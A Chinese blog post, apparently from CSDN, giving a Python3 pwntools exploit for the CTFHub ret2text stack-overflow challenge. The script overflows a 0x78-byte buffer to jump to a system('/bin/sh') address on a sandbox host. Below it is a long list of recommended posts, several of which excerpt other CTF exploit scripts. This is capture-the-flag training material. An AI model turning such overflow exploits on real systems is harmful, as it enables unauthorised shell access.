CTFhub 技能树 PWN ret2text Python3 exp

CTFHUB技能树——Pwn前置技能学习 汇编指令讲解 阅读详情

题目链接:https://www.ctfhub.com -> 技能树 -> PWN -> 栈溢出 -> ret2text
WP:https://writeup.ctfhub.com/Skill/Pwn/%E6%A0%88%E6%BA%A2%E5%87%BA/eeca3548.html


搜exp的时候发现已经有人写过WP了,于是就Cirl+CV,发现原程序是用Python2写的,我的pwntools环境是Python3,因此程序需要稍作修改。

from pwn import *

host = 'challenge-23b7868abfc49eea.sandbox.ctfhub.com'
port = 31443

#p = process("./pwn")
p = connect(host, port)
payload = bytes('A',encoding="utf8") * 0x78 + p64(0x4007b8)#类型不同不能拼接
p.sendline(payload)
p.interactive()

END

CTFHub技能树---pwn-Chunk Extend add这里如果 index 0 ~ 9 都申请了的 chunk ,那么 i = 10 再退出 for 循环,但是还会接下去利用 ptr[10] = malloc(ptr[20]) 申请chunk,实现 index 0 的堆块溢出。最后第11个chunk的size会变成非常大,编辑chunk0,就可以实现溢出。也就是add 可以覆盖掉一个第一个 chunk 的 size。 阅读详情

相关推荐

CTFhub-pwn-[ret2text]-writeup

关于CTF pwn的简单入门题目,ret2text。

m0_43405474的博客 2619

python3-pwntools教程_python的pwntools工具的日常使用

1.安装操作系统:ubuntu16.04环境准备:pythonpiplibssl-devlibffi-devpwntools安装:sudo apt-get install libffi-devsudo apt-get install libssl-devsudo apt-get install pythonsudo apt-get install python-pipsudo pip instal...

weixin_36050894的博客 1372

跟着CTF-wiki学pwn——ret2text

肾么叫做万死不辞呀,就是每天被气死一万次,也不辞职…(哭哭

qq_42882717的博客 1500

CTFHub[PWN技能树]——栈溢出

文章目录一、ret2text二、ret2shellcode 一、ret2text 例行检查,64位程序,没有开启任何保护 本地运行一下情况,看看大概的情况 64位ida载入,检索程序里的字符串发现了bin/sh 要满足条件才可以执行,但是我们可以直接跳转到0x4007B8去system(‘/bin/sh’) 看main函数 第8行,gets函数读入没有限制数据的长度,明显的溢出,溢出ret到执行system(‘/bin/sh’)的地址即可 from pwn import * #p=proc

mcmuyanga的博客 3309

DRM驱动架构浅析-上(DRM基础概要与U-Boot阶段驱动解析)

本文主要探讨了Rockchip平台的DRM显示驱动架构及其在U-Boot阶段的实现。

一路寒风身如絮,命海沉浮客独行 1765

实战指南:基于ELK与Grafana构建天融信防火墙日志可视化看板

本文详细介绍了如何基于ELK与Grafana构建天融信防火墙日志可视化看板,包括环境准备、日志收集与解析配置、Elasticsearch存储优化、Grafana看板设计等关键步骤。通过实战案例和优化技巧,帮助用户高效处理天融信防火墙日志,实现安全态势的可视化监控与分析。

weixin_34246529的博客 226

【ctf】ret2text

PWN ret2text 题目链接:ret2text 参考博客:CTF Wiki 基本 ROP 参考视频:【CTF】Linux PWN入门 Bamboofox社课系列 0x01 下载ret2text文件,复制到 翔哥的van美pwn机 中 查看保护机制 Arch: i386-32-little //文件为32位程序 RELRO: Partial RELRO Stack: No canary found //未开启canary保护 NX: NX enabled

woodwhale的博客 6358

半导体关键系统之RMS浅谈

这种系统还要求设备在设备上的配方发生变化时通知工厂主机,并需要与EAP(Equipment Automation Process)联结,旨在实时管控自动化系统所用配方与用户当初的设定是否匹配,从而使得自动化系统所用的配方更加趋于安全。例如,制药行业中的药品生产管理系统(GMP),它对药品的生产过程进行严格控制,包括原材料的采购、生产工艺流程、质量控制等方面。这些系统通常与企业的生产系统集成,能够对产品的配方进行精细化管理,包括配方的设计、试验、验证、生产等环节。

阿拉伯梳子的专栏 6155

ctfhub 技能树pwn 栈溢出 ret2text

看到v4这个变量的缓冲区,我们要把数据溢出到覆盖返回地址,即0x70+8。选中该行,看到下方的地址(4007B8)看到gets危险函数,再点开其中的v4。再shift+f12 直接查看相关字符。可以看到无任何的栈保护。输入:wq 保存退出。

m0_75234353的博客 1423

从零构建MAVLink通信:PX4飞控与QGC的协议握手全解析

本文详细解析了PX4飞控与QGC地面站通过MAVLink协议进行通信的全过程,重点介绍了航点传输协议的状态机设计、INT类型消息的优化优势以及异常处理与调试技巧。通过实战案例和性能优化建议,帮助开发者高效构建无人机通信系统,提升数据传输效率与稳定性。

weixin_29209805的博客 505

关于RTP时间戳以及播放器对时间戳的处理

首先,了解时间戳几个基本概念: 时间戳单位:时间戳计算的单位不是秒之类的单位,而是由采样频率所代替的单位,这样做的目的就是为了是时间戳单位更为精准。比如说一个音频的采样频率为8000Hz,那么我们可以把时间戳单位设为1 / 8000。 时间戳增量:相邻两帧之间的时间差(以时间戳单位为基准)。 采样频率: 有些地方也叫时钟频率,即 每秒钟抽取样本的次数,例如音频的采...

toshiba689的专栏 3052

ctf-wiki rop ret2text

观察gets函数写入的数组地址为[esp+1ch],思路为查找esp为多少,因为当前是靠着esp定位地址。查看secure函数中获取到shell的地址(0804863a)2.拿到文件在kali linux中用ida打开。推断距离返回地址偏移的地址为:0x6c+4。于是字符串(esp+1ch)的地址为。推断距离edp的地址为:0x6c。1.下载ret2text文件。获取目标机器shell。

weixin_55885866的博客 383

16QAM调制解调仿真(matlab,详细介绍仿真方案的设计、结果及结论、完整代码及注释)

16QAM调制解调仿真目录一、仿真要求二、仿真方案详细设计三、仿真结果及结论四、仿真代码 一、仿真要求 1.用基带等效的方式仿真16-QAM在AWGN信道下的误码率和误比特率性能,并与理论值相比较; 2.高阶与低阶的性能比较。 二、仿真方案详细设计 三、仿真结果及结论 仿真结果 16QAM的星座点图 64QAM的星座点图 16QAM加噪声后的星座点图 64QAM加噪声后的星座点图 16-QAM载波调制信号在AWGN信道下的误比特率性能比较 结论:由图可知,16QAM的误符号率

mango 5万+

[CTFhub]pwn技能树ret2shellcode

摘要:这篇文章介绍了CTF中ret2shellcode漏洞利用方法。题目分析显示程序没有开启任何保护,存在栈溢出漏洞且会泄露buf地址。解题思路是通过构造shellcode并覆写返回地址来获取shell权限。文章提供了完整的Python利用脚本,利用pwntools工具生成shellcode并计算正确地址,最终成功获取flag。关键词:CTF、pwn、ret2shellcode、栈溢出、shellcode。

2504_90965412的博客 375

【AUTOSAR AP PHM 】PHM 标准化“检查点上报接口”落地指南(AUTOSAR AP · R24-11取向)

本文介绍了AUTOSAR AP R24-11标准下PHM(平台健康管理)模块中"检查点上报接口"的标准化实现方案。主要内容包括: 核心设计理念:采用"配置优先"原则,通过部署模型预先定义监管参数,应用进程只需简单上报枚举标识,具体判定由PHM执行。 职责划分: 应用进程:仅调用ReportCheckpoint接口上报枚举值 PHM:负责Alive计数、Deadline区间判定和Logical路径校验 EM/IdsM:提供进程状态和越权检测 三类监管机制: Alive:

探索C++编程的奥秘,分享深入的技术见解和实践,旨在激发读者创造力与解决问题的思维。 220

STM32Cube高效开发教程<高级篇><FreeRTOS>(一)-----FreeRTOS基础

一、 FreeRTOS概述声明:本人水平有限,博客可能存在部分错误的地方,请广大读者谅解并向本人反馈错误。本专栏博客参考《STM32Cube高效开发教程(高级篇)》,有意向的读者可以购买正版书籍辅助学习,本书籍由王维波老师、鄢志丹老师、王钊老师倾力打造,书籍内容干货满满。写在前面:今天就算正式开始高级篇的博客编写了,我本人也是第一次学习FreeRTOS,所以整体的进度会比较慢,博客更新可能不太会及时,希望大家原谅。一、 FreeRTOS概述。

我的博客 1848

【CTFHUB-WriteUp】pwn技能树-栈溢出-Ret2VDSO

ops

qq_39933891的博客 1719

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

CTF-PWN-callme32 [ROP+栈溢出]

首先发现在pwnme函数中有一个明显的缓冲区溢出,长度为40,经调试发现填入44长度的垃圾信息即可填入shellcode ida发现一个重要函数如下: 点入后发现这三个函数为系统级调用。正好题目给了我们一个.so文件。进入查看,发现有这三个函数的反编译。依次是将加密后的flag通过key1,key2解密。调用顺序应该是callme_one -> callme_two -> c...

SuperGate的博客 1180

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain&#39;s apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath(&#39;DeepLearnToolbox&#39;));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand(&#39;state&#39;,0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W&#39;); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand(&#39;state&#39;,0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = &#39;sigm&#39;;%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, &#39;Too big error&#39;);```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand(&#39;state&#39;,0)sae = saesetup([784 100]);sae.ae{1}.activation_function = &#39;sigm&#39;;sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)&#39;)% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = &#39;sigm&#39;;nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, &#39;Too big error&#39;);```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x&#39;,28,28,60000))/255;test_x = double(reshape(test_x&#39;,28,28,10000))/255;train_y = double(train_y&#39;);test_y = double(test_y&#39;);%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you&#39;ll get around 1.2% errorrand(&#39;state&#39;,0)cnn.layers = { struct(&#39;type&#39;, &#39;i&#39;) %input layer struct(&#39;type&#39;, &#39;c&#39;, &#39;outputmaps&#39;, 6, &#39;kernelsize&#39;, 5) %convolution layer struct(&#39;type&#39;, &#39;s&#39;, &#39;scale&#39;, 2) %sub sampling layer struct(&#39;type&#39;, &#39;c&#39;, &#39;outputmaps&#39;, 12, &#39;kernelsize&#39;, 5) %convolution layer struct(&#39;type&#39;, &#39;s&#39;, &#39;scale&#39;, 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, &#39;Too big error&#39;);```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand(&#39;state&#39;,0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, &#39;Too big error&#39;);%% ex2 neural net with L2 weight decayrand(&#39;state&#39;,0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, &#39;Too big error&#39;);%% ex3 neural net with dropoutrand(&#39;state&#39;,0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, &#39;Too big error&#39;);%% ex4 neural net with sigmoid activation functionrand(&#39;state&#39;,0)nn = nnsetup([784 100 10]);nn.activation_function = &#39;sigm&#39;; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, &#39;Too big error&#39;);%% ex5 plotting functionalityrand(&#39;state&#39;,0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = &#39;softmax&#39;; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, &#39;Too big error&#39;);%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand(&#39;state&#39;,0)nn = nnsetup([784 20 10]); nn.output = &#39;softmax&#39;; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, &#39;Too big error&#39;);```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

[CTFHub]-技能树----pwn tcache Attack

目前只有我一人解出来,估计是其他大佬不屑于做这样简单的题吧!长话短说,做堆类题一定要亲自动手,重要的事情说三遍。

saulgoodman的博客 417

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

buuctf rip 1,ret2text解法

from pwn import * io = remote("node4.buuoj.cn",27708) payload = b'a'* 23 + p64(0x40118a) io.sendline(payload) io.interactive() 87和8a两个地址都能奏效,往上往下都不行。

amber_o0k的博客 1733

ctfshow-web入门-命令执行(web41_exp与分析)

preg 是题目的正则匹配规则,在 ASCII 可见字符范围内,先排除掉正则表达式匹配的字符,将其他可用的字符进行按位或运算,再将运算得到的可见字符,以及参与或运算结果为可见字符的组合转为 16 进制拼接 % 后写入 txt 文件。过滤掉了数字、字母以及一些符号,之前接触过的无字母 rce 是取反编码再取反,采用不可见字符去绕过正则,但是这里取反符号被过滤掉了,但是注意到或符号被放出来了,下面附上这种类型题目的相关脚本,并给出一定解释。(2)php 可用字符生成脚本(这个的生成方式可以选择或和异或操作)

Welcome To My6n Blog 2094

ctf-wiki基本ROP1-ret2text学习笔记

可以看出程序在主函数中使用了 gets 函数,显然存在栈溢出漏洞。这里计算出的偏移量。构造playload时,直接与系统调用地址相加就可。可以看出程序是 32 位程序,其仅仅开启了栈不可执行保护。然后,我们使用 IDA 来查看源代码。那么如果我们直接控制程序返回至 0x0804863A,那么就可以得到系统的 shell 了。在 please input 后,将之前生成的溢出字符串粘贴上去。注意:start 命令执行后,还需执行 contin 命令。,cyclic -l 地址 计算偏移量。

m0_58824086的博客 491

[CTFHub] ret2text

gets_s(buffer,size)函数:从标准输入中读取数据,size表示的最多读取的数量,在这里是argv,没有定义是多大,所以我们就可以无限的输入。输入超过程序设定的字节数以后,就会发生栈溢出,多出的内容会覆盖返回地址。这个题目中要获得系统的shell,只需要先用垃圾数据填充填满数组的空间,再拼上系统system函数的返回地址就可以。只要我们能控制程序返回到0x4007B8(“/bin/sh”指令的地址),就可以得到系统的shell。我们攻击的目的主要是获得系统的控制权(也就是拿到shell)。

Lucien_Carr的博客 1427

【PWN · ret2text】——[CTFHub]ret2text

经典的ret2text流程。

Mr_Fmnwon的博客 4334

CTFHUB(PWN)Ret2Text

64位没有开启任何保护的Ret2Text

Rt1Text的博客 4547
上一篇: 抛砖引玉 BMZCTF渗透测试公开赛WP复现学习
下一篇: Markdown基本操作
break_cat
博客等级 码龄7年 72粉丝 31原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值